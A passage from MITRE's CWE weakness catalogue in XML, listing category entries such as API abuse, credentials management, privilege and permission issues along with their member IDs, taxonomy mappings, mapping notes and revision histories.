					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-02-24">Pathname Traversal and Equivalence Errors</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="227" Name="7PK - API Abuse" Status="Draft">
         <Summary>This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that involve the software using an API in a manner contrary to its intended use. According to the authors of the Seven Pernicious Kingdoms, "An API is a contract between a caller and a callee. The most common forms of API misuse occurs when the caller does not honor its end of this contract. For example, if a program does not call chdir() after calling chroot(), it violates the contract that specifies how to change the active root directory in a secure fashion. Another good example of library abuse is expecting the callee to return trustworthy DNS information to the caller. In this case, the caller misuses the callee API by making certain assumptions about its behavior (that the return value can be used for authentication purposes). One can also violate the caller-callee contract from the other side. For example, if a coder subclasses SecureRandom and returns a non-random value, the contract is violated."</Summary>
         <Relationships>
            <Has_Member CWE_ID="242" View_ID="700"/>
            <Has_Member CWE_ID="243" View_ID="700"/>
            <Has_Member CWE_ID="244" View_ID="700"/>
            <Has_Member CWE_ID="245" View_ID="700"/>
            <Has_Member CWE_ID="246" View_ID="700"/>
            <Has_Member CWE_ID="248" View_ID="700"/>
            <Has_Member CWE_ID="250" View_ID="700"/>
            <Has_Member CWE_ID="251" View_ID="700"/>
            <Has_Member CWE_ID="252" View_ID="700"/>
            <Has_Member CWE_ID="558" View_ID="700"/>
         </Relationships>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>WIN30-C</Entry_ID>
               <Entry_Name>Properly pair allocation and deallocation functions</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Common_Consequences, Description, Name, Observed_Examples, Potential_Mitigations, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings, Time_of_Introduction, Type</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">API Abuse</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Fulfill API Contract (aka 'API Abuse')</Previous_Entry_Name>
            <Previous_Entry_Name Date="2011-03-29">Failure to Fulfill API Contract ('API Abuse')</Previous_Entry_Name>
            <Previous_Entry_Name Date="2017-11-08">Improper Fulfillment of API Contract ('API Abuse')</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="251" Name="Often Misused: String Management" Status="Incomplete">
         <Summary>Functions that manipulate strings encourage buffer overflows.</Summary>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Often Misused: Strings</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP10</Entry_ID>
               <Entry_Name>Incorrect Buffer Length Computation</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Affected_Resources, Applicable_Platforms, Demonstrative_Examples, Relationships, White_Box_Definitions</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="254" Name="7PK - Security Features" Status="Incomplete">
         <Summary>Software security is not security software. Here we're concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management.</Summary>
         <Relationships>
            <Has_Member CWE_ID="256" View_ID="700"/>
            <Has_Member CWE_ID="258" View_ID="700"/>
            <Has_Member CWE_ID="259" View_ID="700"/>
            <Has_Member CWE_ID="260" View_ID="700"/>
            <Has_Member CWE_ID="261" View_ID="700"/>
            <Has_Member CWE_ID="272" View_ID="700"/>
            <Has_Member CWE_ID="284" View_ID="700"/>
            <Has_Member CWE_ID="285" View_ID="700"/>
            <Has_Member CWE_ID="330" View_ID="700"/>
            <Has_Member CWE_ID="359" View_ID="700"/>
            <Has_Member CWE_ID="798" View_ID="700"/>
         </Relationships>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Security Features</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: consider mapping to weaknesses that are members of this Category.</xhtml:p>
	    </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2017-11-08">Security Features</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="255" Name="Credentials Management Errors" Status="Draft">
         <Summary>Weaknesses in this category are related to the management of credentials.</Summary>
         <Relationships>
            <Has_Member CWE_ID="256" View_ID="699"/>
            <Has_Member CWE_ID="257" View_ID="699"/>
            <Has_Member CWE_ID="260" View_ID="699"/>
            <Has_Member CWE_ID="261" View_ID="699"/>
            <Has_Member CWE_ID="262" View_ID="699"/>
            <Has_Member CWE_ID="263" View_ID="699"/>
            <Has_Member CWE_ID="324" View_ID="699"/>
            <Has_Member CWE_ID="521" View_ID="699"/>
            <Has_Member CWE_ID="523" View_ID="699"/>
            <Has_Member CWE_ID="549" View_ID="699"/>
            <Has_Member CWE_ID="620" View_ID="699"/>
            <Has_Member CWE_ID="640" View_ID="699"/>
            <Has_Member CWE_ID="798" View_ID="699"/>
            <Has_Member CWE_ID="916" View_ID="699"/>
            <Has_Member CWE_ID="1392" View_ID="699"/>
         </Relationships>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A3</Entry_ID>
               <Entry_Name>Broken Authentication and Session Management</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
	 <References>
	   <Reference External_Reference_ID="REF-1287" Section="Details of Problematic Mappings"/>
	 </References>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1287]. This CWE ID may have become widely-used because of NIST's usage in NVD from 2008 to 2016 (see CWE-635 view, updated to the CWE-1003 view in 2016).</xhtml:p>
               <xhtml:p>Comments: some weakness-oriented alternatives might be found under Improper Authentication (CWE-287) or keyword searches for credentials.</xhtml:p>
	    </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Detection_Factors</Modification_Comment>
            </Modification>
			<Modification>
				<Modification_Name>CWE Content Team</Modification_Name>
				<Modification_Organization>MITRE</Modification_Organization>
				<Modification_Date>2019-06-20</Modification_Date>
				<Modification_Comment>updated Relationships</Modification_Comment>
			</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Name, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-02-24">Credentials Management</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="264" Name="Permissions, Privileges, and Access Controls" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.</Summary>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Permissions, Privileges, and ACLs</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-7" Section="Chapter 7, &#34;How Tokens, Privileges, SIDs, ACLs, and Processes Relate&#34; Page 218"/>
	   <Reference External_Reference_ID="REF-1287" Section="Details of Problematic Mappings"/>
         </References>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1287]. This CWE ID may have become widely-used because of NIST's usage in NVD from 2008 to 2016 (see CWE-635 view, updated to the CWE-1003 view in 2016).</xhtml:p>
               <xhtml:p>Comments: some weakness-oriented alternatives might be found as descendants under Improper Access Control (CWE-284). Note: use of CWE-284 is Discouraged; see CWE-284's Mapping Notes.</xhtml:p>
	    </Note>
            <Note Type="Maintenance">This entry heavily overlaps other categories and has been marked obsolete.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Detection_Factors, Potential_Mitigations, References, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, References</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="265" Name="Privilege Issues" Status="Incomplete">
         <Summary>Weaknesses in this category occur with improper handling, assignment, or management of privileges. A privilege is a property of an agent, such as a user. It lets the agent do things that are not ordinarily allowed. For example, there are privileges which allow an agent to perform maintenance functions such as restart a computer.</Summary>
         <Relationships>
            <Has_Member CWE_ID="243" View_ID="699"/>
            <Has_Member CWE_ID="250" View_ID="699"/>
            <Has_Member CWE_ID="266" View_ID="699"/>
            <Has_Member CWE_ID="267" View_ID="699"/>
            <Has_Member CWE_ID="268" View_ID="699"/>
            <Has_Member CWE_ID="270" View_ID="699"/>
            <Has_Member CWE_ID="272" View_ID="699"/>
            <Has_Member CWE_ID="273" View_ID="699"/>
            <Has_Member CWE_ID="274" View_ID="699"/>
            <Has_Member CWE_ID="280" View_ID="699"/>
            <Has_Member CWE_ID="501" View_ID="699"/>
            <Has_Member CWE_ID="580" View_ID="699"/>
            <Has_Member CWE_ID="648" View_ID="699"/>
         </Relationships>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Privilege / sandbox errors</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
            <Note Type="Relationship">This can strongly overlap authorization errors.</Note>
            <Note Type="Theoretical">A sandbox could be regarded as an explicitly defined sphere of control, in that the sandbox only defines a limited set of behaviors, which can only access a limited set of resources.</Note>
            <Note Type="Theoretical">It could be argued that any privilege problem occurs within the context of a sandbox.</Note>
            <Note Type="Research Gap">Many of the following concepts require deeper study. Most privilege problems are not classified at such a low level of detail, and terminology is very sparse. Certain classes of software, such as web browsers and software bug trackers, provide a rich set of examples for further research. Operating systems have matured to the point that these kinds of weaknesses are rare, but finer-grained models for privileges, capabilities, or roles might introduce subtler issues.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Relationship_Notes, Taxonomy_Mappings, Theoretical_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Research_Gaps, Theoretical_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-02-24">Privilege / Sandbox Issues</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="275" Name="Permission Issues" Status="Draft">
         <Summary>Weaknesses in this category are related to improper assignment or handling of permissions.</Summary>
         <Relationships>
            <Has_Member CWE_ID="276" View_ID="699"/>
            <Has_Member CWE_ID="277" View_ID="699"/>
            <Has_Member CWE_ID="278" View_ID="699"/>
            <Has_Member CWE_ID="279" View_ID="699"/>
            <Has_Member CWE_ID="280" View_ID="699"/>
            <Has_Member CWE_ID="281" View_ID="699"/>
            <Has_Member CWE_ID="618" View_ID="699"/>
            <Has_Member CWE_ID="766" View_ID="699"/>
            <Has_Member CWE_ID="767" View_ID="699"/>
         </Relationships>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Permission errors</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A2</Entry_ID>
               <Entry_Name>Broken Access Control</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A10</Entry_ID>
               <Entry_Name>Insecure Configuration Management</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 17: Failure to Protect Stored Data.&#34; Page 253"/>
         </References>
         <Notes>
	   <Note Type="Terminology">Permissions are associated with a resource and specify which actors are allowed to access that resource and what they are allowed to do with that access (e.g., read it, modify it). Privileges are associated with an actor and define which behaviors or actions an actor is allowed to perform.</Note>
           <Note Type="Mapping">
             <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
